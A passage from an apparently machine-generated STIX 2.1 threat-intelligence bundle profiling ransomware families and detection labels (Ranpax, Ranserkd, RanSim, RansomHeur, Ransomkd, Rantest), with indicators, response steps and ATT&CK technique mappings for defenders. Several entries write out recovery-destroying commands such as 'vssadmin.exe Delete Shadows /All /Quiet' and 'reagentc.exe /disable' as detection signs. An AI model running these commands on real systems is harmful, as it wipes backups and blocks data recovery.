      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9c5a41a-1c37-594a-95bc-d1e8ffcf5efa",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranos exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df278ba0-8458-5ffa-a4e3-93c779e5a44c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9c5a41a-1c37-594a-95bc-d1e8ffcf5efa",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranos exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--548b8686-2ddb-59f5-acd8-c7634a68d9fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9c5a41a-1c37-594a-95bc-d1e8ffcf5efa",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranos exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dca8cda6-2fb6-5019-a298-636ff75197e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ranpax",
      "description": "Ransomware:Win32/Ranpax is a destructive cryptographic ransomware family. Upon execution, it systematically encrypts critical user data, business documents, databases, and media files across local drives and accessible network shares (`T1486`). It is designed to cause immediate, catastrophic business disruption, holding the organization's data hostage until a cryptocurrency ransom is paid.<br><br><b>Understanding Ranpax (Ransomware Operations)</b><br>To an end-user, a Ranpax infection is immediately devastating: their desktop wallpaper is altered, their files are rendered inaccessible (often appended with a unique extension), and a ransom note (e.g., `DECRYPT_FILES.txt`) appears in every directory. For a security operations center (SOC), this represents a critical, enterprise-wide incident requiring immediate isolation protocols.<br><br><b>Execution and Encryption Mechanics</b><br>Ranpax is typically deployed manually by attackers after they have achieved domain-wide compromise (often via tools like Cobalt Strike or BloodHound). The operators use legitimate administrative tools (like PsExec or Group Policy - `T1569.002`) to deploy the ransomware binary simultaneously to all endpoints. Upon execution, Ranpax immediately attempts to impair defenses by stopping AV services and deleting Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet` - `T1490`) to prevent easy data recovery. It then utilizes strong encryption algorithms (e.g., AES-256 combined with RSA) to rapidly encrypt files, dropping a ransom note containing communication instructions (usually via the Tor network) and a Bitcoin wallet address.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total operational paralysis and severe financial/reputational damage. Host-based IoCs are glaringly obvious: thousands of files being modified simultaneously, the deletion of Shadow Copies, the presence of ransom notes, and an altered desktop background. EDR telemetry will show massive spikes in file I/O operations (reads/writes) originating from a single, newly dropped executable. Network IoCs may include the ransomware attempting to reach out to Tor gateways or hardcoded C2 IP addresses to register the infection and acquire the public encryption key. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ranpax",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ranpax"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11fefa3f-2218-5bcf-8d95-f2ccd0374a07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dca8cda6-2fb6-5019-a298-636ff75197e8",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranpax exhibits technique T1486 (Data Encrypted for Impact (The core ransomware payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97bbedf3-669e-5e75-a4b6-cb6354d08140",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dca8cda6-2fb6-5019-a298-636ff75197e8",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranpax exhibits technique T1490 (Inhibit System Recovery (Deleting Volume Shadow Copies via vssadmin))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8308849-e9f1-53fc-8983-5962cf1bc58a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dca8cda6-2fb6-5019-a298-636ff75197e8",
      "target_ref": "attack-pattern--48fff4f5-81fe-501f-a217-61aa95f17bee",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranpax exhibits technique T1569.002 (System Services: Service Execution (Using PsExec for mass deployment))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f0c8143-fd2a-5b9b-ba14-c39cbc718fc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dca8cda6-2fb6-5019-a298-636ff75197e8",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranpax exhibits technique T1489 (Service Stop (Stopping database and AV services before encryption))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--23bd0ab9-97fb-5cd1-a249-eb1dab0709f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ranserkd",
      "description": "Ransom:Win32/Ranserkd is a highly destructive ransomware variant designed to systematically encrypt all valuable data on an infected endpoint or network share, followed by an extortion demand. It utilizes strong cryptographic algorithms (typically AES combined with RSA) to ensure that recovering the locked files is mathematically impossible without paying the attackers for the unique private decryption key.<br><br><b>Understanding the Ranserkd Threat</b><br>To a victim, a Ranserkd infection represents a catastrophic loss of data; documents, databases, and photos become inaccessible, appended with a strange file extension, and a ransom note appears on the desktop. For an enterprise, it triggers a critical incident response involving total network isolation to prevent the ransomware from spreading to critical servers and backups.<br><br><b>Execution and Encryption Mechanics</b><br>Ranserkd is frequently deployed manually by attackers after they have already breached the network (e.g., via compromised RDP credentials or an Initial Access Broker) (`T1078`), or delivered via massive malspam campaigns (`T1566.001`). Upon execution, the ransomware first attempts to neutralize endpoint defenses and delete Windows Volume Shadow Copies (`vssadmin.exe delete shadows`) to prevent easy data restoration (`T1490`). It then aggressively scans all local drives and mapped network shares, rapidly encrypting files that match a hardcoded list of valuable extensions (e.g., `.docx`, `.sql`, `.pdf`) (`T1486`). Finally, it drops a ransom note (often a `.txt` or `.html` file) detailing payment instructions via cryptocurrency.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total data denial of service. Host-based IoCs include massive spikes in CPU and disk I/O activity caused by the rapid encryption process. EDR systems will flag the execution of `vssadmin.exe` or `bcdedit.exe` attempting to disable recovery features. Files across the system will suddenly change extensions, and the ransomware executable itself may be found running from the `%Temp%` or `%AppData%` directories. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ranserkd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ranserkd"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3db5a535-76a7-5abc-9d7c-47aa08b601c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--23bd0ab9-97fb-5cd1-a249-eb1dab0709f3",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranserkd exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a061a3b-9590-565d-89f4-e5810747555c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--23bd0ab9-97fb-5cd1-a249-eb1dab0709f3",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranserkd exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--610729f1-e8e6-5e77-a022-fbdcdd7908ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--23bd0ab9-97fb-5cd1-a249-eb1dab0709f3",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranserkd exhibits technique T1078 (Valid Accounts (Common deployment method for enterprise ransomware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4df82b12-8d23-583c-b151-4033f33970e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--23bd0ab9-97fb-5cd1-a249-eb1dab0709f3",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ranserkd exhibits technique T1485 (Data Destruction (If encryption is flawed or keys are lost))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--faa3d960-a70b-5b92-bf4e-0f11b2ea67b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ransim",
      "description": "<h3>Executive Summary</h3>\nRanSim (Ransomware Simulator) is technically a benign security testing tool designed by KnowBe4 to simulate ransomware behavior on endpoints. However, because its core function is to mimic the rapid file-encryption behaviors of actual ransomware (to test if local AV/EDR solutions can block it), it is frequently flagged by security software as \"HackTool\" or generic ransomware. While the tool itself is not malicious, its presence must be carefully contextualized.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRanSim is not \"infectious.\" It must be intentionally downloaded and executed by a user, typically a system administrator or security analyst running a controlled test. \n\nUpon execution, RanSim simulates various ransomware tactics:\n<ul>\n<li><strong>Behavioral Mimicry:</strong> The tool executes several distinct scenarios, mimicking the specific file iteration and encryption patterns of notorious ransomware families (like Cryptolocker, Locky, or WannaCry) on a set of dummy test files.</li>\n<li><strong>No True Encryption:</strong> Crucially, RanSim only \"encrypts\" temporary test files it creates in a specific directory. It does not touch legitimate user data or system files.</li>\n<li><strong>Evasion Testing:</strong> It tests whether the installed endpoint protection relies solely on static signatures or if it can successfully detect and block anomalous, rapid encryption behavior (heuristics).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nRanSim itself poses zero threat to data availability or confidentiality. The \"threat\" is operational: if deployed widely without notifying the Security Operations Center (SOC), the simulated encryption behaviors can trigger massive cascades of high-severity alerts, causing panic and wasting incident response resources.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Contextual Verification:</strong> If a RanSim alert triggers, immediately verify if an authorized security test or audit is currently underway. Check the path of the executable (usually explicitly named KnowBe4 RanSim).</li>\n<li><strong>Safe Handling:</strong> If the tool was downloaded by an unauthorized user (e.g., a curious employee), simply delete the executable. No complex remediation or re-imaging is required.</li>\n<li><strong>Whitelist Configuration:</strong> If RanSim is used for regular testing, coordinate with the SOC to temporarily whitelist the tool's specific hash or execution path to prevent alert fatigue.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.RanSim",
        "Riskware.RansomwareSimulator",
        "Win32/RanSim"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ransim",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ransim"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53447432-4370-56af-aa8a-a17115791565",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--faa3d960-a70b-5b92-bf4e-0f11b2ea67b4",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ransim exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0af70109-df29-5199-bc2e-1a4dde89deee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--faa3d960-a70b-5b92-bf4e-0f11b2ea67b4",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ransim exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19510516-60ba-5ed3-9fb8-ce8ae80ab432",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--faa3d960-a70b-5b92-bf4e-0f11b2ea67b4",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ransim exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49eef2d2-1525-56ed-8b1c-85abc3e4afff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--faa3d960-a70b-5b92-bf4e-0f11b2ea67b4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ransim exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--878e8c76-360b-527f-9f53-8e4b419f986c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ransomheur",
      "description": "<h3>Executive Summary</h3>\n\"RansomHeur\" (short for Ransomware Heuristic) is a highly critical, generic detection signature utilized by advanced Endpoint Protection Platforms (EPP) and EDR solutions. It does not identify a specific, named ransomware family (like LockBit or Ryuk). Instead, it indicates that the security engine has actively observed a process executing behavioral patterns that are definitively characteristic of a ransomware attack in progress.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nUnlike static signatures that look for known file hashes, a RansomHeur alert fires based on real-time behavioral analysis. A process flagged with this identifier has typically triggered a combination of the following rules:\n<ul>\n<li><strong>Mass File Modification:</strong> The process is rapidly opening, encrypting, and renaming a large volume of user files (e.g., documents, images, databases) across local disks or mapped network shares in a very short timeframe.</li>\n<li><strong>Volume Shadow Copy Deletion:</strong> The process has attempted to execute administrative commands (like `vssadmin.exe Delete Shadows /All /Quiet` or WMI equivalents) to destroy local system backups and prevent easy file restoration.</li>\n<li><strong>Cryptographic API Abuse:</strong> The process is making anomalous, high-frequency calls to Windows cryptographic APIs (e.g., CryptoAPI, CNG) outside of normal application behavior.</li>\n</ul>\n\n<h3>Threat Impact and Response</h3>\nA RansomHeur alert is a \"break-glass,\" severity-critical incident. It means active data destruction is occurring on the endpoint. However, if the EDR is configured correctly, the process may have been successfully terminated mid-encryption, limiting the damage.\n\n<h3>Immediate Containment Strategy</h3>\n<ul>\n<li><strong>Total Network Isolation:</strong> <em>Immediately</em> and physically sever the affected machine's network connection (unplug Ethernet, disable Wi-Fi) to halt the encryption of mapped network drives and lateral spread.</li>\n<li><strong>Do Not Reboot:</strong> Do not reboot the machine, as this may trigger secondary payloads, delete forensic evidence in RAM (which might contain the encryption key), or accelerate the encryption routine upon startup.</li>\n<li><strong>Determine Blast Radius:</strong> Identify exactly which files were encrypted before the process was killed. Extract the malicious binary that triggered the alert for sandbox analysis to identify the true ransomware family and locate the attacker's entry point (e.g., compromised RDP, phishing email).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Ransom.Heur",
        "Heur:Trojan-Ransom",
        "Suspicious.Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ransomheur",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ransomheur"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--716bc0f0-5ea6-5f2d-89b4-ef9f8154c4ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--878e8c76-360b-527f-9f53-8e4b419f986c",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ransomheur exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14fa77bb-c713-51aa-bfc8-5b9660e00d49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--878e8c76-360b-527f-9f53-8e4b419f986c",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ransomheur exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf3edfae-fe3c-54c2-82ff-6fa93fda55f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--878e8c76-360b-527f-9f53-8e4b419f986c",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ransomheur exhibits technique T1012 (Query Registry (Identifying mounted drives and network shares to encrypt))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8ef5e70d-886e-570a-b882-1a29f341c0b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ransomkd",
      "description": "Ransom:Win32/Ransomkd is a generic heuristic detection used by antivirus engines to identify executables that exhibit behavior typical of **Cryptographic Ransomware**. Because it is a generic detection, it does not identify a specific, well-known family (like Ryuk or LockBit), but rather flags the *action* of mass file encryption occurring on the system.<br><br><b>Understanding Ransomkd (Generic Ransomware)</b><br>To an end-user, the impact is devastating: personal documents, photos, and databases are suddenly inaccessible, appended with an unknown file extension, and a ransom note (often a `.txt` or `.hta` file) appears on the desktop demanding cryptocurrency payment for the decryption key. For a security analyst, a 'Ransomkd' detection means a severe breach has already progressed to its final, most destructive stage.<br><br><b>Execution and Encryption Mechanics</b><br>The delivery method varies (malspam, RDP brute-forcing, exploiting unpatched vulnerabilities). Upon execution, the malware establishes persistence (`T1547.001`) and immediately begins iterating through the file system and mapped network drives (`T1083`). It employs the Windows CryptoAPI or embedded cryptographic libraries (like AES or RSA) to rapidly encrypt files matching specific extensions (e.g., `.docx`, `.sql`, `.pdf`) (`T1486`). Crucially, to prevent easy recovery, the malware actively inhibits system recovery by deleting Volume Shadow Copies (`vssadmin.exe delete shadows`), disabling Windows Recovery Environment (`reagentc.exe /disable`), and clearing event logs (`T1490`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of data availability and severe business interruption. Host-based IoCs include EDR alerts for mass file modification events (high I/O activity), the execution of `vssadmin` or `bcdedit` commands by unknown processes, the appearance of ransom notes (`RESTORE_FILES.txt`), and the modification of file extensions across user directories. Network IoCs may include connections to Tor gateways or hardcoded IP addresses for key exchange prior to encryption. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ransomkd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ransomkd"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee34472c-6065-53d8-8db2-0920b5823d63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ef5e70d-886e-570a-b882-1a29f341c0b6",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ransomkd exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25817700-eecb-5140-b691-8f2cd362e848",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ef5e70d-886e-570a-b882-1a29f341c0b6",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ransomkd exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a68d37b-5e58-5e6c-8293-9898a925df54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ef5e70d-886e-570a-b882-1a29f341c0b6",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ransomkd exhibits technique T1083 (File and Directory Discovery (Scanning for files to encrypt))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ba58e66-8f57-59f1-b044-6d1f717ba7e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ef5e70d-886e-570a-b882-1a29f341c0b6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ransomkd exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c1560859-3a0c-58ca-9f46-2b38e9f6e476",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rantest",
      "description": "Ransom:Win32/Rantest is generally a heuristic classification for a test file, a proof-of-concept (PoC), or a benign simulator designed to mimic the behavior of destructive ransomware. It is frequently used by security vendors, SOC analysts, and penetration testers to safely evaluate the efficacy of Endpoint Detection and Response (EDR) solutions and behavioral blockers without risking actual data loss.<br><br><b>Understanding Ransomware Simulators</b><br>To an end-user, a Rantest file might generate a scary antivirus alert, but it will not actually encrypt their files. For a SOC analyst, a Rantest detection is usually a benign true positive\u2014the security tool correctly identified ransomware-like behavior (e.g., rapid file enumeration and modification), but the intent of the software was testing, not extortion. However, analysts must always verify the origin of the file to ensure it is not a novel, fully weaponized threat misclassified as a test.<br><br><b>Execution and Simulated Extortion Mechanics</b><br>Rantest files are executed intentionally by security personnel (`T1204.002`). Upon execution, the simulator will mimic the kill chain of modern ransomware. It may execute commands like `vssadmin.exe delete shadows` to test if the EDR blocks shadow copy deletion (`T1490`). It will then rapidly iterate through a designated test directory, opening files, reading the contents, encrypting them in memory, and writing them back to disk with a new extension (like `.test`) (`T1486`). A high-quality simulator will also attempt to mimic the process hollowing or injection techniques (`T1055`) used by real ransomware to evade initial detection, providing a comprehensive test of the endpoint's behavioral analysis engine.<br><br><b>Indicators of Compromise & Impact</b><br>The impact should be zero (if run in a controlled test environment). Host-based IoCs mirror actual ransomware: spikes in CPU and disk I/O, rapid file renaming, and EDR alerts for mass file modification. The critical difference is the context of execution (run by a known administrator in a test folder) and the ability to cleanly reverse the encryption. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rantest",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rantest"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2709b4fd-2d15-5501-aaf4-892901e215b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1560859-3a0c-58ca-9f46-2b38e9f6e476",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rantest exhibits technique T1486 (Data Encrypted for Impact (Simulated))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5a0f1b1-ce4f-54dc-aaef-a92daff592bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1560859-3a0c-58ca-9f46-2b38e9f6e476",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rantest exhibits technique T1490 (Inhibit System Recovery (Simulated Shadow Copy Deletion))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afcb8225-d708-500b-9b5e-0feac47bf9e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c1560859-3a0c-58ca-9f46-2b38e9f6e476",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rantest exhibits technique T1055 (Process Injection (Simulated Evasion))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--457e107a-1ec2-555e-9a46-bcd953386973",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rapid",
